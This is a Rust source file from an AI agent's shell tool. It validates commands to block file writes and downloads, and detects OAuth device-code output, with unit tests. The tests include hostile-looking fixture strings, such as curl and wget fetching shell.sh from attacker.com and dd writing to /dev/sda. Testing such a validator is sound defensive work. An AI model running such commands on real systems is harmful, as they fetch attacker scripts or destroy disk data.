Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
9    let project_root = crate::core::config::Config::find_project_root();
10    validate_command_with_write_allow_paths(command, &write_allow_paths, project_root.as_deref())
11}
12
13pub(crate) fn validate_command_with_write_allow_paths(
14    command: &str,
15    write_allow_paths: &[String],
16    project_root: Option<&str>,
17) -> Option<String> {
18    if command.len() > MAX_COMMAND_BYTES {
19        return Some(format!(
20            "ERROR: Command too large ({} bytes, limit {}). \
21             If you're writing file content, use the native Write/Edit tool instead. \
22             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
23            command.len(),
24            MAX_COMMAND_BYTES
25        ));
26    }
27
28    // #931: strip heredoc bodies before the redirect scanner — a `>` inside a
29    // heredoc body is opaque data, not a file-write redirect.
30    let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
31    if has_file_write_redirect(&cmd_no_heredoc, write_allow_paths, project_root) {
32        return Some(
33            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
34             Use the native Write tool to create/modify files. \
35             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
36             File writes via shell cause MCP protocol corruption on large payloads. \
37             Output capture to temp paths (/tmp, /var/tmp, $TMPDIR) is allowed."
38                .to_string(),
39        );
40    }
41
42    // #989: tee detection must run on heredoc-stripped text to avoid false
43    // positives when the word "tee" appears in heredoc/quoted payloads.
44    // `cmd | tee file` (piped) is output capture, not file authoring — the
45    // primary output still goes to stdout for the agent. Only bare `tee file`
46    // (not piped) is blocked as it is equivalent to `cat > file`.
47    if has_disallowed_tee_target(&cmd_no_heredoc, write_allow_paths, project_root) {
48        return Some(
49            "ERROR: ctx_shell detected a file-write command (tee without pipe). \
50             Use the native Write tool to create/modify files. \
51             ctx_shell is ONLY for reading command output. \
52             Piped tee (cmd | tee file) is allowed for output capture."
53                .to_string(),
54        );
55    }
56
57    if is_heredoc_file_write(command, write_allow_paths, project_root) {
58        return Some(
59            "ERROR: ctx_shell detected a heredoc writing to a file. \
60             Use the native Write tool to create/modify files. \
61             ctx_shell is ONLY for reading command output. \
62             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
63                .to_string(),
64        );
65    }
66
67    if let Some(reason) = download_to_file_reason(command) {
68        return Some(format!(
69            "ERROR: ctx_shell detected a file download/write ({reason}). \
70             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
71             this doctrine, so they are blocked too (GH #391). \
72             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
73             native tools to create files."
74        ));
75    }
76
77    None
78}
79
80/// Well-known Unix scratch prefixes that agents use on every platform.
81/// On Windows, `/tmp/foo` is not a real absolute path, but Git Bash, WSL,
82/// and agent-generated commands routinely target it.  (#1467)
83fn is_unix_scratch_prefix(path: &str) -> bool {
84    for prefix in ["/tmp", "/var/tmp", "/private/tmp", "/dev/null"] {
85        if path == prefix || path.starts_with(&format!("{prefix}/")) {
86            return true;
87        }
88    }
89    false
90}
91
92/// Detects download/copy tools writing directly to files via their own flags.
93/// Returns true when a path targets a scratch/temp location outside the
94/// project, where file downloads are safe (#1021).
95fn is_scratch_path(path: &str) -> bool {
96    if is_unix_scratch_prefix(path) {
97        return true;
98    }
99    if let Ok(tmpdir) = std::env::var("TMPDIR")
100        && !tmpdir.is_empty()
101        && std::path::Path::new(path).starts_with(tmpdir.as_str())
102    {
103        return true;
104    }
105    // Windows: %TEMP% / std::env::temp_dir()
106    let tmp = std::env::temp_dir();
107    if std::path::Path::new(path).starts_with(&tmp) {
108        return true;
109    }
110    false
111}
112
113/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
114/// `> file`, reported as a `validate_command` bypass in GH #391.
115fn download_to_file_reason(command: &str) -> Option<String> {
116    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
117        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
118        let Some(first) = tokens.first() else {
119            continue;
120        };
121        let base = first.rsplit('/').next().unwrap_or(first);
122        match base {
123            "curl" => {
124                let tokens_slice = &tokens[1..];
125                for (i, tok) in tokens_slice.iter().enumerate() {
126                    let target: Option<&str> = if tok == "--output" {
127                        tokens_slice.get(i + 1).map(String::as_str)
128                    } else if let Some(val) = tok.strip_prefix("--output=") {
129                        Some(val)
130                    } else if tok == "--output-dir" {
131                        tokens_slice.get(i + 1).map(String::as_str)
132                    } else if let Some(val) = tok.strip_prefix("--output-dir=") {
133                        Some(val)
134                    } else if tok.starts_with('-')
135                        && !tok.starts_with("--")
136                        && tok[1..].contains('o')
137                    {
138                        // -o <file>: next token is the path
139                        tokens_slice.get(i + 1).map(String::as_str)
140                    } else if tok == "--remote-name"
141                        || tok == "--remote-name-all"
142                        || (tok.starts_with('-')
143                            && !tok.starts_with("--")
144                            && tok[1..].contains('O'))
145                    {
146                        Some(".")
147                    } else {
148                        None
149                    };
150                    if let Some(path) = target {
151                        if is_scratch_path(path) {
152                            continue;
153                        }
154                        return Some(format!("curl {tok}"));
155                    }
156                }
157            }
158            "wget" => {
159                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
160                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
161                    tok == "--output-document=-"
162                        || tok == "-O-"
163                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
164                        || ((tok == "-O" || tok == "--output-document")
165                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
166                        || tok == "--spider"
167                });
168                if !to_stdout {
169                    return Some(
170                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
171                            .to_string(),
172                    );
173                }
174            }
175            "dd" => {
176                for tok in &tokens[1..] {
177                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
178                        return Some(format!("dd {tok}"));
179                    }
180                }
181            }
182            _ => {}
183        }
184    }
185    None
186}
187
188/// Returns true only for heredocs that redirect to files (the dangerous pattern).
189/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
190fn is_heredoc_file_write(
191    command: &str,
192    write_allow_paths: &[String],
193    project_root: Option<&str>,
194) -> bool {
195    let has_heredoc = command.contains("<<");
196    if !has_heredoc {
197        return false;
198    }
199    let cmd_lower = command.to_lowercase();
200    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
201    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
202    if !has_known_heredoc {
203        return false;
204    }
205    // #931: strip heredoc bodies so `>` / `>>` inside the body are not
206    // mistaken for file-write redirects.
207    let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
208    has_file_write_redirect(&stripped, write_allow_paths, project_root)
209}
210
211/// Detects shell redirect operators (`>` or `>>`) that write to files.
212/// Ignores `>` inside quotes, after a backslash escape (`\"` must not toggle
213/// quote state, `\>` is a literal), `2>` (stderr), `/dev/null`, and
214/// comparison operators.
215/// #848: temp directory targets are read-back, not persistent writes.
216/// #848/#989: targets that are NOT persistent project-file writes.
217/// Redirecting to temp dirs, /dev/* devices, or paths containing shell
218/// variables (which we cannot resolve at parse time) is output capture,
219/// not file authoring.
220pub fn is_temp_redirect_target(target: &str) -> bool {
221    let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
222    is_write_allowed_redirect_target(target, &write_allow_paths, None)
223}
224
225fn is_write_allowed_redirect_target(
226    target: &str,
227    write_allow_paths: &[String],
228    project_root: Option<&str>,
229) -> bool {
230    // `>|` is the noclobber-override form of `>`; the `|` is not part of the path.
231    let t = target.trim_start_matches(['>', '&', '|']);
232    // #1142: agents quote scratch paths (`> "$TMPDIR/x.log"`, `> "/private/tmp/x"`);
233    // strip quotes so quoted and unquoted targets are judged identically.
234    let t = t.trim_matches(['"', '\'']);
235    if t.starts_with('$') || t.starts_with("${") {
236        // Preserve #989's escape hatch for harness-provided scratch paths.
237        return true;
238    }
239
240    // On Windows, agents often use Unix-style /tmp paths (Git Bash, WSL,
241    // or Claude generating Unix commands).  `/tmp/foo` is not absolute per
242    // std::path on Windows, so check well-known scratch prefixes before
243    // the is_absolute gate.  (#1467)
244    if is_unix_scratch_prefix(t) {
245        return true;
246    }
247
248    let path = std::path::Path::new(t);
249    if !path.is_absolute() {
250        return false;
251    }
252    let resolved = resolve_path_for_comparison(path);
253    if project_root.is_some_and(|root| {
254        resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(root)))
255    }) {
256        return false;
257    }
258    write_allow_paths.iter().any(|allowed| {
259        resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(allowed)))
260    })
261}
262
263fn resolve_path_for_comparison(path: &std::path::Path) -> std::path::PathBuf {
264    use std::path::{Component, PathBuf};
265
266    let mut normalized = PathBuf::new();
267    for component in path.components() {
268        match component {
269            Component::CurDir => {}
270            Component::ParentDir => {
271                normalized.pop();
272            }
273            other => normalized.push(other.as_os_str()),
274        }
275    }
276
277    let mut unresolved = Vec::new();
278    let mut existing = normalized.clone();
279    while !existing.exists() {
280        let Some(name) = existing.file_name() else {
281            break;
282        };
283        unresolved.push(name.to_os_string());
284        if !existing.pop() {
285            break;
286        }
287    }
288    let mut resolved = crate::core::pathutil::canonicalize_secure_or_self(&existing);
289    for component in unresolved.iter().rev() {
290        resolved.push(component);
291    }
292    resolved
293}
294
295fn tee_targets(command: &str) -> Vec<String> {
296    crate::core::shell_allowlist::extract_all_commands_pub(command)
297        .into_iter()
298        .filter_map(|segment| {
299            let tokens = crate::core::shell_allowlist::shell_tokenize(segment.trim());
300            let first = tokens.first()?;
301            if first.rsplit('/').next().unwrap_or(first) != "tee" {
302                return None;
303            }
304            let mut after_separator = false;
305            Some(
306                tokens
307                    .iter()
308                    .skip(1)
309                    .find(|token| {
310                        if *token == "--" {
311                            after_separator = true;
312                            return false;
313                        }
314                        after_separator || !token.starts_with('-')
315                    })
316                    .cloned()
317                    .unwrap_or_default(),
318            )
319        })
320        .collect()
321}
322
323fn has_disallowed_tee_target(
324    command: &str,
325    write_allow_paths: &[String],
326    project_root: Option<&str>,
327) -> bool {
328    tee_targets(command).into_iter().any(|target| {
329        !target.is_empty()
330            && !is_write_allowed_redirect_target(&target, write_allow_paths, project_root)
331    })
332}
333
334fn has_file_write_redirect(
335    command: &str,
336    write_allow_paths: &[String],
337    project_root: Option<&str>,
338) -> bool {
339    let bytes = command.as_bytes();
340    let len = bytes.len();
341    let mut i = 0;
342    let mut in_single_quote = false;
343    let mut in_double_quote = false;
344
345    while i < len {
346        let c = bytes[i];
347        if c == b'\\' && !in_single_quote {
348            // A backslash escapes the next byte (POSIX: outside quotes and
349            // inside double quotes; inside single quotes it is literal).
350            // Without this, an escaped quote like `\"` toggled the quote
351            // state and literal `>` in quoted prose (e.g. `(root: <root>)`
352            // in a gh --body string) read as a redirect (#903).
353            i += 2;
354            continue;
355        }
356        if c == b'\'' && !in_double_quote {
357            in_single_quote = !in_single_quote;
358        } else if c == b'"' && !in_single_quote {
359            in_double_quote = !in_double_quote;
360        } else if c == b'>' && !in_single_quote && !in_double_quote {
361            if i > 0 && bytes[i - 1] == b'2' {
362                i += 1;
363                continue;
364            }
365            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
366                i + 2
367            } else {
368                i + 1
369            };
370            let target: String = command[target_start..]
371                .trim_start()
372                .chars()
373                .take_while(|c| !c.is_whitespace())
374                .collect();
375            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
376                i += 1;
377                continue;
378            }
379            // #1142: `>&1` / `>&2` duplicate a file descriptor — no file involved.
380            // (`2>&1` is already skipped by the `2>` case above.)
381            if let Some(fd) = target.strip_prefix('&')
382                && !fd.is_empty()
383                && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
384            {
385                i += 1;
386                continue;
387            }
388            // #848: allow redirects to temp directories — agents capture
389            // build output for grepping, not writing persistent files.
390            if is_write_allowed_redirect_target(&target, write_allow_paths, project_root) {
391                i += 1;
392                continue;
393            }
394            if !target.is_empty() {
395                return true;
396            }
397        }
398        i += 1;
399    }
400    false
401}
402
403/// On Windows cmd.exe, `;` is not a valid command separator.
404/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
405pub fn normalize_command_for_shell(command: &str) -> String {
406    if !cfg!(windows) {
407        return command.to_string();
408    }
409    let (_, flag) = crate::shell::shell_and_flag();
410    if flag != "/C" {
411        return command.to_string();
412    }
413    let bytes = command.as_bytes();
414    let mut result = Vec::with_capacity(bytes.len() + 16);
415    let mut in_single = false;
416    let mut in_double = false;
417    for (i, &b) in bytes.iter().enumerate() {
418        if b == b'\'' && !in_double {
419            in_single = !in_single;
420        } else if b == b'"' && !in_single {
421            in_double = !in_double;
422        } else if b == b';' && !in_single && !in_double {
423            result.extend_from_slice(b" && ");
424            continue;
425        }
426        result.push(b);
427        let _ = i;
428    }
429    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
430}
431
432/// Compresses shell command output using the unified compression pipeline.
433/// Delegates to the same exit-code-aware logic used by the CLI, so a failed
434/// command (`exit_code != 0`) is preserved verbatim and successful output is
435/// compressed consistently (excluded_commands, structural routing, terse). #810.
436pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
437    crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
438}
439
440pub fn handle_with_context(
441    command: &str,
442    output: &str,
443    exit_code: i32,
444    crp_mode: CrpMode,
445    project_root: Option<&str>,
446) -> String {
447    let mut result = handle(command, output, exit_code, crp_mode);
448
449    {
450        if let Some(root) = project_root {
451            let estimated_tokens = result.len() / 4;
452            if estimated_tokens > 500 {
453                let kernel_budget = 100;
454                if let Some(enrichment) =
455                    crate::core::context_kernel::bridge::kernel_enrich(command, root, kernel_budget)
456                    && !enrichment.blocks.is_empty()
457                {
458                    result.push_str("\n--- kernel context ---\n");
459                    result.push_str(&enrichment.blocks);
460                }
461            }
462        }
463    }
464
465    result
466}
467
468#[cfg(test)]
469mod kernel_tests {
470    use super::handle_with_context;
471    use crate::tools::CrpMode;
472
473    #[test]
474    fn handle_with_context_does_not_panic_on_short_output() {
475        let result = handle_with_context("ls", "file.txt", 0, CrpMode::Tdd, Some("/tmp"));
476        assert!(!result.is_empty());
477    }
478}
479
480#[cfg(test)]
481fn is_search_command(command: &str) -> bool {
482    let cmd = command.trim_start();
483    cmd.starts_with("grep ")
484        || cmd.starts_with("rg ")
485        || cmd.starts_with("find ")
486        || cmd.starts_with("fd ")
487        || cmd.starts_with("ag ")
488        || cmd.starts_with("ack ")
489}
490
491#[cfg(test)]
492fn generic_compress(output: &str) -> String {
493    let output = crate::core::compressor::strip_ansi(output);
494    let lines: Vec<&str> = output
495        .lines()
496        .filter(|l| {
497            let t = l.trim();
498            !t.is_empty()
499        })
500        .collect();
501
502    if lines.len() <= 20 {
503        return lines.join("\n");
504    }
505
506    let show_count = (lines.len() / 3).min(30);
507    let half = show_count / 2;
508    let first = &lines[..half];
509    let last = &lines[lines.len() - half..];
510    let omitted = lines.len() - (half * 2);
511    format!(
512        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
513        first.join("\n"),
514        half * 2,
515        lines.len(),
516        omitted,
517        last.join("\n")
518    )
519}
520
521/// Detects OAuth device code flow output that must not be compressed.
522/// Uses a two-tier approach: strong signals match alone (very specific to
523/// device code flows), weak signals require a URL/domain in the same output.
524pub fn contains_auth_flow(output: &str) -> bool {
525    let lower = output.to_lowercase();
526
527    const STRONG_SIGNALS: &[&str] = &[
528        "devicelogin",
529        "deviceauth",
530        "device_code",
531        "device code",
532        "device-code",
533        "verification_uri",
534        "user_code",
535        "one-time code",
536    ];
537
538    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
539        return true;
540    }
541
542    const WEAK_SIGNALS: &[&str] = &[
543        "enter the code",
544        "enter this code",
545        "enter code:",
546        "use the code",
547        "use a web browser to open",
548        "open the page",
549        "authenticate by visiting",
550        "sign in with the code",
551        "sign in using a code",
552        "verification code",
553        "authorize this device",
554        "waiting for authentication",
555        "waiting for login",
556        "waiting for you to authenticate",
557        "open your browser",
558        "open in your browser",
559    ];
560
561    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
562    if !has_weak_signal {
563        return false;
564    }
565
566    lower.contains("http://") || lower.contains("https://")
567}
568
569#[cfg(test)]
570mod tests {
571    use super::*;
572
573    #[test]
574    fn normalize_cmd_no_change_on_unix() {
575        if cfg!(windows) {
576            return;
577        }
578        assert_eq!(
579            normalize_command_for_shell("cd /tmp; ls -la"),
580            "cd /tmp; ls -la"
581        );
582    }
583
584    #[test]
585    fn validate_allows_safe_commands() {
586        assert!(validate_command("git status").is_none());
587        assert!(validate_command("cargo test").is_none());
588        assert!(validate_command("npm run build").is_none());
589        assert!(validate_command("ls -la").is_none());
590    }
591
592    #[test]
593    fn validate_blocks_file_writes() {
594        assert!(validate_command("echo 'data' > output.txt").is_some());
595        assert!(validate_command("tee output.txt").is_some());
596        assert!(validate_command("printf 'hello' > test.txt").is_some());
597    }
598
599    #[test]
600    #[cfg(unix)]
601    fn validate_allows_literal_temp_redirect_and_tee_targets() {
602        let paths = crate::core::config::default_shell_write_allow_paths();
603        assert!(
604            validate_command_with_write_allow_paths(
605                "go test ./... > /private/tmp/agent-test.log 2>&1",
606                &paths,
607                None
608            )
609            .is_none()
610        );
611        assert!(
612            validate_command_with_write_allow_paths(
613                "tee /private/tmp/agent-test.log",
614                &paths,
615                None
616            )
617            .is_none()
618        );
619        assert!(
620            validate_command_with_write_allow_paths(
621                "go test ./... | tee /private/tmp/agent-test.log",
622                &paths,
623                None
624            )
625            .is_none()
626        );
627    }
628
629    #[test]
630    fn validate_blocks_redirects_and_piped_tee_into_project_root() {
631        let root = std::env::current_dir().expect("test cwd");
632        let target = root.join("agent-test.log");
633        let target = target.to_string_lossy();
634        let paths = crate::core::config::default_shell_write_allow_paths();
635        assert!(
636            validate_command_with_write_allow_paths(
637                &format!("echo output > {target}"),
638                &paths,
639                Some(root.to_string_lossy().as_ref())
640            )
641            .is_some()
642        );
643        assert!(
644            validate_command_with_write_allow_paths(
645                &format!("go test | tee {target}"),
646                &paths,
647                Some(root.to_string_lossy().as_ref())
648            )
649            .is_some()
650        );
651    }
652
653    #[test]
654    #[cfg(unix)]
655    fn validate_allows_configured_external_write_path() {
656        let paths = vec!["/var/agent-scratch".to_string()];
657        assert!(
658            validate_command_with_write_allow_paths(
659                "go test ./... >> /var/agent-scratch/gotest.log",
660                &paths,
661                Some("/workspace/project")
662            )
663            .is_none()
664        );
665        assert!(
666            validate_command_with_write_allow_paths(
667                "go test ./... | tee /var/agent-scratch/gotest.log",
668                &paths,
669                Some("/workspace/project")
670            )
671            .is_none()
672        );
673        assert!(
674            validate_command_with_write_allow_paths(
675                "echo output > /var/other/gotest.log",
676                &paths,
677                Some("/workspace/project")
678            )
679            .is_some()
680        );
681    }
682
683    #[test]
684    fn validate_blocks_heredoc_with_file_redirect() {
685        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
686        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
687        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
688    }
689
690    #[test]
691    fn validate_allows_heredoc_without_file_redirect() {
692        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
693        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
694        assert!(
695            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
696        );
697        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
698    }
699
700    #[test]
701    fn validate_blocks_oversized_commands() {
702        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
703        let result = validate_command(&huge);
704        assert!(result.is_some());
705        assert!(result.unwrap().contains("too large"));
706    }
707
708    #[test]
709    fn validate_allows_cat_without_redirect() {
710        assert!(validate_command("cat file.txt").is_none());
711    }
712
713    // --- GH #903: literal `>` in quoted prose is not a redirect ---
714
715    #[test]
716    fn validate_allows_escaped_quotes_with_angle_brackets() {
717        // `\"` inside a double-quoted string must not toggle quote state;
718        // the `>` in `<root>` is quoted data, not a redirect.
719        assert!(
720            validate_command(
721                "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
722            )
723            .is_none()
724        );
725        assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
726        // escaped `>` outside quotes is a literal, not a redirect
727        assert!(validate_command("echo a \\> b").is_none());
728    }
729
730    #[test]
731    fn validate_still_blocks_redirect_after_escapes() {
732        // the escape handling must not hide a real redirect later on
733        assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
734        assert!(validate_command("echo \\\\ > out.txt").is_some());
735    }
736
737    // --- GH #897: heredoc-to-stdin and /dev/null redirects are not file writes ---
738
739    #[test]
740    fn heredoc_stdin_without_redirect_is_allowed() {
741        assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
742        assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
743        assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
744    }
745
746    #[test]
747    fn dev_null_redirect_is_allowed() {
748        assert!(validate_command("cat > /dev/null").is_none());
749        assert!(validate_command("cmd > /dev/null 2>&1").is_none());
750        assert!(validate_command("cmd 2>/dev/null").is_none());
751    }
752
753    #[test]
754    fn dev_stdout_and_stderr_redirects_are_allowed() {
755        assert!(validate_command("cmd > /dev/stdout").is_none());
756        assert!(validate_command("cmd > /dev/stderr").is_none());
757    }
758
759    #[test]
760    fn issue_897_edge_cases_post_fix() {
761        assert!(
762            validate_command(
763                "cat <<'EOF' > output.txt
764some content
765EOF"
766            )
767            .is_some(),
768            "heredoc to file must block"
769        );
770        assert!(
771            validate_command(
772                "git commit --allow-empty -F - <<'COMMIT_MSG'
773feat: test
774COMMIT_MSG"
775            )
776            .is_none(),
777            "git commit -F - with heredoc must allow"
778        );
779        let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
780        assert!(
781            validate_command(cmd).is_none(),
782            "quoted > must allow: {cmd}"
783        );
784    }
785
786    // --- GH #391: download tools writing files without shell redirects ---
787
788    #[test]
789    fn validate_blocks_curl_output_flags() {
790        // #1021: curl -o to /tmp (scratch) is now allowed
791        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_none());
792        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_none());
793        // Writing into project directory is still blocked
794        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
795        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
796        assert!(validate_command("curl -O https://example.com/payload").is_some());
797        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
798    }
799
800    #[test]
801    fn validate_allows_curl_to_stdout() {
802        assert!(validate_command("curl https://api.example.com/health").is_none());
803        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
804        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
805        // -H takes a value; no o/O short flag involved.
806        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
807    }
808
809    #[test]
810    fn validate_blocks_wget_default_file_download() {
811        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
812        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
813        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
814    }
815
816    #[test]
817    fn validate_allows_wget_stdout_and_spider() {
818        assert!(validate_command("wget -qO- https://example.com").is_none());
819        assert!(validate_command("wget -O- https://example.com").is_none());
820        assert!(validate_command("wget -O - https://example.com").is_none());
821        assert!(validate_command("wget --output-document=- https://example.com").is_none());
822        assert!(validate_command("wget --spider https://example.com").is_none());
823    }
824
825    #[test]
826    fn validate_blocks_dd_output_file() {
827        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
828        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
829    }
830
831    #[test]
832    fn validate_allows_dd_read_only() {
833        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
834        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
835    }
836
837    // --- Auth flow detection: strong signals (no URL needed) ---
838
839    #[test]
840    fn auth_flow_detects_azure_device_code() {
841        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
842        assert!(contains_auth_flow(output));
843    }
844
845    #[test]
846    fn auth_flow_detects_gh_auth_one_time_code() {
847        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
848        assert!(contains_auth_flow(output));
849    }
850
851    #[test]
852    fn auth_flow_detects_device_code_json() {
853        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
854        assert!(contains_auth_flow(output));
855    }
856
857    #[test]
858    fn auth_flow_detects_verification_uri_field() {
859        let output =
860            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
861        assert!(contains_auth_flow(output));
862    }
863
864    #[test]
865    fn auth_flow_detects_user_code_field() {
866        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
867        assert!(contains_auth_flow(output));
868    }
869
870    // --- Auth flow detection: weak signals (require URL) ---
871
872    #[test]
873    fn auth_flow_detects_gcloud_with_url() {
874        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
875        assert!(contains_auth_flow(output));
876    }
877
878    #[test]
879    fn auth_flow_detects_aws_sso_with_url() {
880        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
881        assert!(contains_auth_flow(output));
882    }
883
884    #[test]
885    fn auth_flow_detects_firebase_with_url() {
886        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
887        assert!(contains_auth_flow(output));
888    }
889
890    #[test]
891    fn auth_flow_detects_generic_browser_open_with_url() {
892        let output =
893            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
894        assert!(contains_auth_flow(output));
895    }
896
897    // --- False positive protection ---
898
899    #[test]
900    fn auth_flow_ignores_normal_build_output() {
901        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
902        assert!(!contains_auth_flow(output));
903    }
904
905    #[test]
906    fn auth_flow_ignores_git_output() {
907        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
908        assert!(!contains_auth_flow(output));
909    }
910
911    #[test]
912    fn auth_flow_ignores_npm_install_output() {
913        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
914        assert!(!contains_auth_flow(output));
915    }
916
917    #[test]
918    fn auth_flow_ignores_docs_mentioning_auth() {
919        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
920        assert!(!contains_auth_flow(output));
921    }
922
923    #[test]
924    fn auth_flow_weak_signal_requires_url() {
925        let output = "Please enter the code ABC123 in the terminal";
926        assert!(!contains_auth_flow(output));
927    }
928
929    #[test]
930    fn auth_flow_weak_signal_without_url_is_ignored() {
931        let output = "Waiting for authentication to complete... done!";
932        assert!(!contains_auth_flow(output));
933    }
934
935    #[test]
936    fn auth_flow_ignores_virtualenv_activate() {
937        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
938        assert!(!contains_auth_flow(output));
939    }
940
941    #[test]
942    fn auth_flow_ignores_api_response_with_code_field() {
943        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
944        assert!(!contains_auth_flow(output));
945    }
946
947    // --- Integration: handle() preserves auth flow ---
948
949    #[test]
950    fn handle_preserves_auth_flow_output_fully() {
951        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
952        // az login is Passthrough via OutputPolicy, so all content is preserved
953        let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
954        assert!(result.contains("ABCD1234"), "auth code must be preserved");
955        assert!(result.contains("devicelogin"), "URL must be preserved");
956        assert!(
957            result.contains("Line 13"),
958            "all lines must be preserved (no truncation)"
959        );
960    }
961
962    #[test]
963    fn handle_compresses_normal_output_not_auth() {
964        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
965        let output = lines.join("\n");
966        let result = handle("some-tool check", &output, 0, CrpMode::Off);
967        assert!(
968            !result.contains("auth/device-code flow detected"),
969            "normal output must not trigger auth detection"
970        );
971        assert!(
972            result.len() < output.len() + 100,
973            "normal output should be compressed, not inflated"
974        );
975    }
976
977    #[test]
978    fn is_search_command_detects_grep() {
979        assert!(is_search_command("grep -r pattern src/"));
980        assert!(is_search_command("rg pattern src/"));
981        assert!(is_search_command("find . -name '*.rs'"));
982        assert!(is_search_command("fd pattern"));
983        assert!(is_search_command("ag pattern src/"));
984        assert!(is_search_command("ack pattern"));
985    }
986
987    #[test]
988    fn is_search_command_rejects_non_search() {
989        assert!(!is_search_command("cargo build"));
990        assert!(!is_search_command("git status"));
991        assert!(!is_search_command("npm install"));
992        assert!(!is_search_command("cat file.rs"));
993    }
994
995    #[test]
